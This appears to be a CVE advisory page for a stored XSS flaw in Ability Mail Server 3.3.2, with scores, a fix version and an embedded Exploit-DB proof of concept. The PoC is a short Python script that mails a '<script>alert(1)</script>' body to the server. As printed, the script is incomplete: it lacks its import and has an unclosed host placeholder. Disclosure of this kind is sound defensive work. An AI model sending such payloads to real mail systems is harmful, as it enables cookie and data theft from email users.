CVE-2017-17752

medium

Published 2017-12-20 · Modified 2026-05-13

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CVSS v3

6.1

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVSS v4 NEW

—

not yet in upstream

VIR risk

7.1

Description

Ability Mail Server 3.3.2 has Cross Site Scripting (XSS) via the body of an e-mail message, with JavaScript code executed on the Read Mail screen (aka the /_readmail URI). This is fixed in version 4.2.4.

Predictions

Exploit likelihood

71%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43378 webapps multiple text · 1 KB

Aloyce J. Makalanga · 2017-12-20

Ability Mail Server 3.3.2 - Cross-Site Scripting

text exploit Source: Exploit-DB

# Exploit Title: Ability Mail Server 3.3.2 Persistent Cross Site Scripting (XSS)
# CVE: CVE-2017-17752
# Date: 19-12-2017
# Software Link: http://download.codecrafters.com/ams3.exe 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.codecrafters.com 
# Category: webapps
# Attack Type: Remote
# Impact: Data/Cookie theft 

 
1. Description


   Ability Mail Server 3.3.2 has Persistent Cross Site Scripting (XSS) via the body of an e-mail message, with JavaScript code executed on the Read Mail screen (aka the /_readmail URI). To exploit the vulnerability, the victim must open an email with malicious Javascript inserted into the body of the email.


   
2. Proof of Concept

 

#!/usr/bin/env python 
email_addr = 'hacker@evil.local'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email +='<script>alert(1)</script>'
s = smtplib.SMTP('<Attacker IP address', 25)
s.login(email_addr, "password")
s.sendmail(email_addr, email_addr, email)
s.quit()

3. Solution:

   
Update to version 4.2.4
http://download.codecrafters.com/ams.exe

Application impact

Vendor	Product	Versions	Fixed
codecrafters	ability_mail_server	`3.3.2`

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.